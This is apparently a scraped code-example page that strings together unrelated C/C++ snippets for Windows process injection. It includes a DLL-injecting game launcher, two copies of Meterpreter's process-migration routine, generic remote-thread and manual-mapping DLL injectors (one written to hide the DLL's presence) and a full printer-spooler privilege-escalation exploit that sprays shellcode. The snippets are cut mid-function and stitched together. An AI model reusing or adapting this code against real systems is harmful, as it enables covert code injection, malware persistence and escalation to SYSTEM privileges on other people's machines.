		MessageBox(NULL, "Code: 103", "Starter error", NULL);
        CloseHandle(hToken);
        return 0;
    }

	char szCmd[128];
	//DWORD dwTICK = ;
	//DWORD XOR = (DWORD)time(NULL);
	//dwTICK ^= XOR;
	sprintf(szCmd, "main.exe -test -k%d", GetTickCount());

    if( !CreateProcess( NULL,   // No module name (use command line)
        szCmd,        // Command line
        NULL,           // Process handle not inheritable
        NULL,           // Thread handle not inheritable
        FALSE,          // Set handle inheritance to FALSE
        NORMAL_PRIORITY_CLASS | CREATE_SUSPENDED,              // No creation flags
        NULL,           // Use parent's environment block
        NULL,           // Use parent's starting directory 
        &si,            // Pointer to STARTUPINFO structure
        &pi )           // Pointer to PROCESS_INFORMATION structure
    ) 
    {
		MessageBox(NULL, "Code: 104", "Starter error", NULL);
        return 0;
    }

	try
	{
		HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pi.dwProcessId);

		if( !hProcess )
		{
			MessageBox(NULL, "Code: 105", "Starter error", NULL);
			return 0;
		}

		HANDLE hMainThread = OpenThread(THREAD_ALL_ACCESS,FALSE,pi.dwThreadId);

		if( !hMainThread )
		{
			MessageBox(NULL, "Code: 106", "Starter error", NULL);
			return 0;
		}

		VMBEGIN

		DWORD lOfs;
		BYTE jmp[2] = {0xEB,0xFE};
		BYTE original[2] = {0x60,0x9C};

		ReadProcessMemory(hProcess,(LPVOID)MAIN_EIP,original,2,&lOfs);
		WriteProcessMemory(hProcess,(LPVOID)MAIN_EIP,jmp,2,&lOfs);
		ResumeThread(hMainThread);

		CONTEXT context;

		for(int i = 0; i < 50 && context.Eip != MAIN_EIP; i++)	{
			Sleep(100);
			// read the thread context
			context.ContextFlags = CONTEXT_CONTROL;
			GetThreadContext( hMainThread, &context );
		}

		if( context.Eip != MAIN_EIP )
		{
			MessageBox(NULL, "Code: 107", "Starter error", NULL);
			return 0;
		}

		

		HANDLE hThread;
		char szLibPath[_MAX_PATH] = { "zClient.dll" };
		void* pLibRemote;
		HMODULE hKernel32 = ::GetModuleHandle("Kernel32");

		pLibRemote = ::VirtualAllocEx( hProcess, NULL, sizeof(szLibPath),MEM_COMMIT, PAGE_READWRITE );::WriteProcessMemory( hProcess, pLibRemote, (void*)szLibPath,sizeof(szLibPath), NULL );
		hThread = ::CreateRemoteThread( hProcess, NULL, 0,(LPTHREAD_START_ROUTINE) ::GetProcAddress( hKernel32,"LoadLibraryA" ),pLibRemote, 0, NULL );
		::WaitForSingleObject( hThread, INFINITE );

		SuspendThread(hMainThread);
		WriteProcessMemory(hProcess,(LPVOID)MAIN_EIP,original,2,&lOfs);
		ResumeThread(hMainThread);

		CloseHandle(hProcess);
		CloseHandle(hMainThread);

		VMEND
	}
	catch( ... )
	{
	}
	return true;
}
/*!
 * @brief Migrate the meterpreter server from the current process into another process.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the request packet.
 * @param pResult Pointer to the memory that will receive the result.
 * @returns Indication of whether the server should continue processing or not.
 */
BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult)
{
	DWORD dwResult = ERROR_SUCCESS;
	Packet * response = NULL;
	HANDLE hToken = NULL;
	HANDLE hProcess = NULL;
	HANDLE hEvent = NULL;
	BYTE * lpPayloadBuffer = NULL;
	LPVOID lpMigrateStub = NULL;
	LPBYTE lpMemory = NULL;
	MIGRATECONTEXT ctx = { 0 };
	DWORD dwMigrateStubLength = 0;
	DWORD dwPayloadLength = 0;
	DWORD dwProcessID = 0;
	DWORD dwDestinationArch = 0;

	MetsrvConfig* config = NULL;
	DWORD configSize = 0;

	do
	{
		response = packet_create_response(packet);
		if (!response)
		{
			dwResult = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Get the process identifier to inject into
		dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);

		// Get the target process architecture to inject into
		dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);

		// Get the length of the payload buffer
		dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);

		// Receive the actual migration payload buffer
		lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);

		dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);

		// If we can, get SeDebugPrivilege...
		if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
		{
			TOKEN_PRIVILEGES priv = { 0 };

			priv.PrivilegeCount = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

			if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
			{
				if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL));
				{
					dprintf("[MIGRATE] Got SeDebugPrivilege!");
				}
			}

			CloseHandle(hToken);
		}

		// Open the process so that we can migrate into it
		hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID);
		if (!hProcess)
		{
			BREAK_ON_ERROR("[MIGRATE] OpenProcess failed")
		}

		// get the existing configuration
		dprintf("[MIGRATE] creating the configuration block");
		remote->config_create(remote, &config, &configSize);
		dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);

		if (config->session.comms_fd)
		{
			// Duplicate the socket for the target process if we are SSL based
			if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR)
			{
				BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed")
			}
		}

		// Create a notification event that we'll use to know when it's safe to exit 
		// (once the socket has been referenced in the other process)
		hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
		if (!hEvent)
		{
			BREAK_ON_ERROR("[MIGRATE] CreateEvent failed")
		}

		// Duplicate the event handle for the target process
		if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
		{
			BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed")
		}

		// Get the architecture specific process migration stub...
		if (dwDestinationArch == PROCESS_ARCH_X86)
		{
			lpMigrateStub = (LPVOID)&migrate_stub_x86;
			dwMigrateStubLength = sizeof(migrate_stub_x86);
		}
		else if (dwDestinationArch == PROCESS_ARCH_X64)
		{
			lpMigrateStub = (LPVOID)&migrate_stub_x64;
			dwMigrateStubLength = sizeof(migrate_stub_x64);
		}
		else
		{
			SetLastError(ERROR_BAD_ENVIRONMENT);
			dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch);
			break;
		}

		// Allocate memory for the migrate stub, context, payload and configuration block
		lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (!lpMemory)
		{
			BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed")
		}

		// Calculate the address of the payload...
		ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT);

		// Write the migrate stub to memory...
		dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
		if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed")
		}

		// Write the migrate context to memory...
		dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT));
		if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed")
		}

		// Write the migrate payload to memory...
		dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength);
		if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed")
		}

		// finally write the configuration stub
		dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize);
		if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed")
		}

		// First we try to migrate by directly creating a remote thread in the target process
		if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
		{
			dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread...");

			// If that fails we can try to migrate via a queued APC in the target process
			if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
			{
				BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed")
			}
		}

		dwResult = ERROR_SUCCESS;

	} while (0);
Beispiel #10
0
bool InjectDLL(DWORD processID, const char* dllLocation)
{
    // gets a module handler which loaded by the process which
    // should be injected
    HMODULE hModule = GetModuleHandle(loadedModuleName);
    if (!hModule)
    {
        printf("ERROR: Can't get %s's handle, ", loadedModuleName);
        printf("ErrorCode: %u\n", GetLastError());
        system("pause");
        return false;
    }
    // gets the address of an exported function which can load DLLs
    FARPROC loadLibraryAddress = GetProcAddress(hModule, loadDLLFunctionName);
    if (!loadLibraryAddress)
    {
        printf("ERROR: Can't get function %s's address, ", loadDLLFunctionName);
        printf("ErrorCode: %u\n", GetLastError());
        system("pause");
        return false;
    }
    // opens the process which should be injected
    HANDLE hProcess = OpenClientProcess(processID);
    if (!hProcess)
    {
        printf("Process [%u] open is failed.\n", processID);
        system("pause");
        return false;
    }
    printf("\nProcess [%u] is opened.\n", processID);

    // gets the build number
    WORD buildNumber = GetBuildNumberFromProcess(hProcess);
    // error occured
    if (!buildNumber)
    {
        printf("Can't determine build number.\n");
        CloseHandle(hProcess);
        return false;
    }
    printf("Detected build number: %hu\n", buildNumber);
    // checks this build is supported or not
    if (!IsHookEntryExists(NULL, buildNumber))
    {
        printf("ERROR: This build number is not supported.\n");
        system("pause");
        CloseHandle(hProcess);
        return false;
    }
    // allocates memory for the DLL location string
    LPVOID allocatedMemoryAddress = VirtualAllocEx(hProcess, NULL, strlen(dllLocation), MEM_COMMIT, PAGE_READWRITE);
    if (!allocatedMemoryAddress)
    {
        printf("ERROR: Virtual memory allocation is failed, ");
        printf("ErrorCode: %u.\n", GetLastError());
        system("pause");
        CloseHandle(hProcess);
        return false;
    }
    // writes the DLL location string to the process
    // so this is the parameter which will be passed to LoadLibraryA
    if (!WriteProcessMemory(hProcess, allocatedMemoryAddress, dllLocation, strlen(dllLocation), NULL))
    {
        printf("ERROR: Process memory writing is failed, ");
        printf("ErrorCode: %u\n", GetLastError());
        system("pause");
        VirtualFreeEx(hProcess, allocatedMemoryAddress, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return false;
    }
    // creates a thread that runs in the virtual address space of
    // the process which should be injected and gives the
    // parameter (allocatedMemoryAddress) to LoadLibraryA(loadLibraryAddress)
    HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddress, allocatedMemoryAddress, 0, NULL);
    if (!hRemoteThread)
    {
        printf("ERROR: Remote thread creation is failed, ");
        printf("ErrorCode: %u\n", GetLastError());
        system("pause");
        VirtualFreeEx(hProcess, allocatedMemoryAddress, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return false;
    }
    // waits until the DLL's main function returns
    WaitForSingleObject(hRemoteThread, INFINITE);
    // frees resources
    VirtualFreeEx(hProcess, allocatedMemoryAddress, 0, MEM_RELEASE);
    CloseHandle(hRemoteThread);
    CloseHandle(hProcess);
    return true;
}
int main(int argc, char* argv[])
{
  
  unsigned char exploit[BOFSIZE];
  unsigned char buffer[REQUIRED_SIZE];
  DWORD dwSizeNeeded,n=0;
  DWORD datalen=REQUIRED_SIZE;
  LARGE_INTEGER dirs;
  HANDLE hProcess;
  DWORD write;
  char *p,i;
  #define lpLocalAddress dirs.LowPart
  #define lpTargetAddress dirs.HighPart

  printf("[+] Universal exploit for printer spooler providers\n");
  printf("[+] Some Citrix metaframe, DiskAccess and Novel versions are affected\n");
  printf("[+] Exploit by Andres Tarasco - [email protected]\n\n");

  printf("[+] Connecting to spooler LCP port \\RPC Control\\spoolss\n");
  

 
  do {
   dirs=ConnectToLPCPort();
   printf("[+] Trying to locate valid address: Found 0x%8.8x after %i tries\r",lpTargetAddress,n+1);
   if (lpLocalAddress==0){ 
	 printf("\n[-] Unable to connect to spooler LPC port\n"); 
    printf("[-] Check if the service is running\n");
	 exit(0);
   }
   i=lpTargetAddress>>24; // & 0xFF000000 == 0
   n++;
   if (n==MAXLOOPS) {
      printf("\n[-] Unable to locate a valid address after %i tries\n",n);
      printf("[?] Maybe a greater REQUIRED_SIZE should help. Try increasing it\n");
      return(0);
   }
  }while (i!=0);
  
  //printf(" (%i tries)\n",n);
  printf("\n");

  printf("[+] Mapped memory. Client address: 0x%8.8x\n",lpLocalAddress);
  printf("[+] Mapped memory. Server address: 0x%8.8x\n",lpTargetAddress);

 
  i=(lpTargetAddress<<8)>>24;
  //Fill all with rets. who cares where is it.
  memset(exploit,i,sizeof(exploit)); 
  exploit[sizeof(exploit)-1]='\0';

  /*
  memset(exploit,'A',sizeof(exploit)-1);
  exploit[262]= (lpTargetAddress<<8)>>24; //EIP for Diskaccess
  exploit[263]= (lpTargetAddress<<8)>>24; //EIP for Diskaccess
  exploit[264]='\0';
  */
  
  printf("[+] Targeting return address to  : 0x00%2.2X00%2.2X\n",exploit[262],exploit[262]);

  p=(char *)lpLocalAddress;

  memset(&buffer[0],0x90,REQUIRED_SIZE);
  memcpy(&buffer[REQUIRED_SIZE -sizeof(shellcode)-10],shellcode,sizeof(shellcode));
  
  printf("[+] Writting to shared memory...\n");
  if ( (hProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()))!= NULL ) 
  {
    if ( WriteProcessMemory( hProcess, p, &buffer[0], REQUIRED_SIZE, &write )!=0 )
    {
      printf("[+] Written 0x%x bytes \n",write);
      printf("[+] Exploiting vulnerability....\n");
      printf("[+] Exploit complete. Now try to connect to 127.0.0.1:51477\n");
      printf("[+] and check if you are system =)\n");
      EnumPrintersA ( PRINTER_ENUM_NAME, (char *)exploit, 1, NULL, 0, &dwSizeNeeded, &n );
      return(1);
    } else {
       printf("[-] Written 0x%x bytes \n",write);

    }
  } 
  printf("[-] Something failed. Error %i - Good luck next time\n",GetLastError());
  return(0);
}
Beispiel #12
0
BOOL HsInjectDllByRemoteThreadWinXP(const TCHAR* wzDllFile, ULONG_PTR ProcessId)
{
	//提高本进程的权限

	if (!HsInjectUpPrivilige())  //提权
	{
		printf("Up Privilige Is Error\n");
		return FALSE;
	}

	CStringA *Dll = new CStringA(wzDllFile);


	//我们就要打开想要打开的进程
	HANDLE hProcess = NULL;
	HANDLE hThread  = NULL;

	hProcess = OpenProcess(PROCESS_ALL_ACCESS,false,(DWORD)ProcessId);  //explorer.exe  hProcess
	if (hProcess==NULL)
	{
		printf("Open Process Is Error\n");

		return FALSE;
	}

	char* szDllName = NULL;

	szDllName = (char*)VirtualAllocEx(hProcess,
		NULL,Dll->GetLength()+1,MEM_COMMIT,PAGE_READWRITE);   

	if (szDllName==NULL)
	{

		CloseHandle(hProcess);
		printf("Apply Memory Is Error\n");

		return FALSE;
	}

	//然后将完整的路径直接写入内存

	if (!WriteProcessMemory(hProcess,szDllName,Dll->GetBuffer(),Dll->GetLength()+1,NULL))
	{

		CloseHandle(hProcess);

		printf("Write Memory Is Error\n");

		return FALSE;
	}

	LPTHREAD_START_ROUTINE StartRoutine = NULL;

	StartRoutine = 
		(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")),
		"LoadLibraryA");

	if(StartRoutine == NULL)
	{
		printf("Get ProcAddress Error\n");
		return FALSE;
	}

	hThread = CreateRemoteThread(hProcess,NULL,0,StartRoutine,szDllName,0,NULL);

	if (hThread==NULL)
	{
		CloseHandle(hProcess);

		printf("Create Remote Thread Is Error\n");

		return FALSE;
	}

	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
	VirtualFreeEx(hProcess,szDllName,0,MEM_RELEASE);
	CloseHandle(hProcess);

	return TRUE;
}
Beispiel #13
0
/*!
 * @brief Migrate the meterpreter server from the current process into another process.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the request packet.
 * @param pResult Pointer to the memory that will receive the result.
 * @returns Indication of whether the server should continue processing or not.
 */
BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult)
{
	DWORD dwResult = ERROR_SUCCESS;
	Packet * response = NULL;
	HANDLE hToken = NULL;
	HANDLE hProcess = NULL;
	HANDLE hEvent = NULL;
	BYTE * lpPayloadBuffer = NULL;
	LPVOID lpMigrateStub = NULL;
	LPBYTE lpMemory = NULL;
	LPBYTE lpUuid = NULL;
	LPCOMMONMIGRATECONTEXT ctx = NULL;
	DWORD ctxSize = 0;
	DWORD dwMigrateStubLength = 0;
	DWORD dwPayloadLength = 0;
	DWORD dwProcessID = 0;
	DWORD dwDestinationArch = 0;

	MetsrvConfig* config = NULL;
	DWORD configSize = 0;

	do
	{
		response = packet_create_response(packet);
		if (!response)
		{
			dwResult = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Get the process identifier to inject into
		dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);

		// Get the target process architecture to inject into
		dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);

		// Get the length of the payload buffer
		dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PAYLOAD_LEN);

		// Receive the actual migration payload buffer
		lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);

		// Get handles to the updated UUIDs if they're there
		lpUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID);

		// Get the migrate stub information
		dwMigrateStubLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_STUB_LEN);
		lpMigrateStub = packet_get_tlv_value_raw(packet, TLV_TYPE_MIGRATE_STUB);

		dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);

		// If we can, get SeDebugPrivilege...
		if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
		{
			TOKEN_PRIVILEGES priv = { 0 };

			priv.PrivilegeCount = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

			if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
			{
				if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL));
				{
					dprintf("[MIGRATE] Got SeDebugPrivilege!");
				}
			}

			CloseHandle(hToken);
		}

		// Open the process so that we can migrate into it
		hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID);
		if (!hProcess)
		{
			BREAK_ON_ERROR("[MIGRATE] OpenProcess failed")
		}

		// get the existing configuration
		dprintf("[MIGRATE] creating the configuration block");
		remote->config_create(remote, lpUuid, &config, &configSize);
		dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);

		if (remote->transport->get_migrate_context != NULL)
		{
			dwResult = remote->transport->get_migrate_context(remote->transport, dwProcessID, hProcess, &ctxSize, (LPBYTE*)&ctx);
		}
		else
		{
			dwResult = get_migrate_context(&ctxSize, &ctx);
		}

		if (dwResult != ERROR_SUCCESS)
		{
			dprintf("[MIGRATE] Failed to create migrate context: %u", dwResult);
			break;
		}

		// Create a notification event that we'll use to know when it's safe to exit 
		// (once the socket has been referenced in the other process)
		hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
		if (!hEvent)
		{
			BREAK_ON_ERROR("[MIGRATE] CreateEvent failed");
		}

		// Duplicate the event handle for the target process
		if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx->e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
		{
			BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed");
		}

		dprintf("[MIGRATE] Duplicated Event Handle: 0x%x", (UINT_PTR)ctx->e.hEvent);

		// Allocate memory for the migrate stub, context, payload and configuration block
		lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + ctxSize + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (!lpMemory)
		{
			BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed");
		}

		// Calculate the address of the payload...
		ctx->p.lpPayload = lpMemory + dwMigrateStubLength + ctxSize;

		// Write the migrate stub to memory...
		dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
		if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed");
		}

		// Write the migrate context to memory...
		dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, ctxSize);
		if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, ctx, ctxSize, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed");
		}

		// Write the migrate payload to memory...
		dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx->p.lpPayload, dwPayloadLength);
		if (!WriteProcessMemory(hProcess, ctx->p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed");
		}

		// finally write the configuration stub
		dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx->p.lpPayload + dwPayloadLength, configSize);
		if (!WriteProcessMemory(hProcess, ctx->p.lpPayload + dwPayloadLength, config, configSize, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed");
		}

		free(ctx);

		// First we try to migrate by directly creating a remote thread in the target process
		if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
		{
			dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread...");

			// If that fails we can try to migrate via a queued APC in the target process
			if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
			{
				BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed");
			}
		}

		dwResult = ERROR_SUCCESS;

	} while (0);

	SAFE_FREE(config);

	// If we failed and have not sent the response, do so now
	if (dwResult != ERROR_SUCCESS && response)
	{
		dprintf("[MIGRATE] Sending response");
		packet_transmit_response(dwResult, remote, response);
	}

	// Cleanup...
	if (hProcess)
	{
		dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess);
		CloseHandle(hProcess);
	}

	if (hEvent)
	{
		dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent);
		CloseHandle(hEvent);
	}

	if (pResult)
	{
		*pResult = dwResult;
	}

	// if migration succeeded, return 'FALSE' to indicate server thread termination.
	dprintf("[MIGRATE] Finishing migration, result: %u", dwResult);
	return ERROR_SUCCESS == dwResult ? FALSE : TRUE;
}
Beispiel #14
0
bool MapRemoteModule(unsigned long pId, const char *module)
{
   IMAGE_DOS_HEADER *dosHd;
   IMAGE_NT_HEADERS *ntHd;
   IMAGE_NT_HEADERS64 *ntHd64 = NULL;

   HANDLE hFile = CreateFileA(module,
      GENERIC_READ,
      FILE_SHARE_READ | FILE_SHARE_WRITE,
      NULL,
      OPEN_EXISTING,
      FILE_ATTRIBUTE_NORMAL,
      NULL);

   if(hFile == INVALID_HANDLE_VALUE)
      return false;

   unsigned int fSize;

   if(GetFileAttributesA(module) & FILE_ATTRIBUTE_COMPRESSED)
      fSize = GetCompressedFileSizeA(module, NULL);
   else
      fSize = GetFileSize(hFile, NULL);

   unsigned char *dllBin = new unsigned char[fSize];
   unsigned int nBytes;

   // copy into our dllBin buffer the entire DLL
   ReadFile(hFile, dllBin, fSize, (LPDWORD)&nBytes, FALSE);
   CloseHandle(hFile);

   //   Every PE file contains a little DOS stub for backwards compatibility
   //   its only real relevance is that it contains a pointer to the actual
   //   PE header.
   dosHd = MakePtr(IMAGE_DOS_HEADER *, dllBin, 0);

   //   Make sure we got a valid DOS header
   if(dosHd->e_magic != IMAGE_DOS_SIGNATURE)
   {
       wxMessageBox( _("The DOS header was invalid"), 
           _("Error:  Invalid DOS header"),
           wxICON_ERROR );
       delete [] dllBin;
       return false;
   }

   //   Get the real PE header from the DOS stub header
   //   This header contains pointers to the Optional Header and the 
   //   COFF File Header.
   ntHd = MakePtr(IMAGE_NT_HEADERS *, dllBin, dosHd->e_lfanew);

   //   Verify that the PE header is PE00
   if(ntHd->Signature != IMAGE_NT_SIGNATURE)
   {
       wxMessageBox( _("The PE Header was not found."), 
           _("Error:  PE Header not found"),
           wxICON_ERROR );
       delete [] dllBin;
       return false;
   }

   //   Verify that the image file is a DLL
   if( (ntHd->FileHeader.Characteristics & IMAGE_FILE_DLL) == false )
   {
       wxMessageBox( _("You may only inject DLL image files."), 
           _("Error:  Injected image file was not a DLL"),
           wxICON_ERROR );
       delete [] dllBin;
       return false;
   }

   // Open the target process
   HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pId);

   // We failed to open the process, so return false
   if(!hProcess)
   {
       wxMessageBox( _("Failed to open target process."), 
           _("Error:  Failed to open process"),
           wxICON_ERROR );
       delete [] dllBin;
       return false;
   }

   //   Determine whether the image is a PE32 or PE32+ executable
   if( ntHd->OptionalHeader.Magic != IMAGE_NT_OPTIONAL_HDR32_MAGIC )
   {
        if( ntHd->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC )
        {
            ntHd64 = (IMAGE_NT_HEADERS64 *)ntHd;
            wxMessageBox( _("Image is a PE32+ executable.\nInjector Gadget doesn't support PE32+ executables yet."),
                _("Error:  Image is not a PE32 executable"),
                wxICON_ERROR );
        }
        else if( ntHd->OptionalHeader.Magic == IMAGE_ROM_OPTIONAL_HDR_MAGIC )
        {
            wxMessageBox( _("Image is a ROM image.\nInjector Gadget doesn't support ROM images."),
                _("Error:  Image is not a PE32 executable"),
                wxICON_ERROR );
        }
        delete [] dllBin;
        return false;
   }

   //   Allocate space for the module in the remote process
   void *imageBase = VirtualAllocEx(hProcess,
      NULL,
      ntHd->OptionalHeader.SizeOfImage,
      MEM_COMMIT | MEM_RESERVE,
      PAGE_EXECUTE_READWRITE);

   //   Make sure we got the memory space we wanted
   if(!imageBase)
   {
       delete [] dllBin;
       return false;
   }
   //   Allocate space for our stub
   void *stubBase = VirtualAllocEx(hProcess,
      NULL,
      MakeDelta(SIZE_T, DC_stubend, DllCall_stub),
      MEM_COMMIT | MEM_RESERVE,
      PAGE_EXECUTE_READWRITE);

   //   Make sure we got the memory space we wanted
   if(!stubBase)
   {
       delete [] dllBin;
       return false;
   }

   //   We now need to fix up the tables.
   //   The tables are as follows (in order):
   //   Export Table, Import Table, Resource Table, Exception Table,
   //   Certificate Table, Base Relocation Table, Debug, Architecture,
   //   Global Ptr, TLS Table, Load Config Table, Bound Import, IAT,
   //   Delay Import Descriptor, CLR Runtime Header, Reserved

   //   First important section is the Export Table.  We're going to skip this
   //   since the whole point of cloaking a DLL is to hide its presence.

   //   Second important section is the Import Table.  We really need this.
   if( ntHd->OptionalHeader.NumberOfRvaAndSizes > 1 )
   {
       IMAGE_IMPORT_DESCRIPTOR *impDesc = (IMAGE_IMPORT_DESCRIPTOR *)GetPtrFromRVA(
           (DWORD)(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress),
           ntHd,
           (PBYTE)dllBin);
       if(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size)
           FixImports(pId,
           (unsigned char *)dllBin,
           ntHd,
           impDesc);
       else // size was 0 for the import directory entry
       {
           wxMessageBox(
               _("Size of import directory entry was 0"),
               _("Error:  Import Directory size is 0"),
               wxICON_ERROR);
           delete [] dllBin;
           return false;
       }
   }
   else // IMAGE_DIRECTORY_ENTRY_IMPORT didn't exist in the data directories
   {
       wxMessageBox( _("The import table referenced an invalid index in the data directory."),
           _("Error:  Import table could not be located"),
           wxICON_ERROR );
       delete [] dllBin;
       return false;
   }

   //   Fix "base relocations" of the new module.  Base relocations are places
   //   in the module that use absolute addresses to reference data.  Since
   //   the base address of the module can be different at different times,
   //   the base relocation data is necessary to make the module loadable
   //   at any address.
   IMAGE_BASE_RELOCATION *reloc = (IMAGE_BASE_RELOCATION *)GetPtrFromRVA(
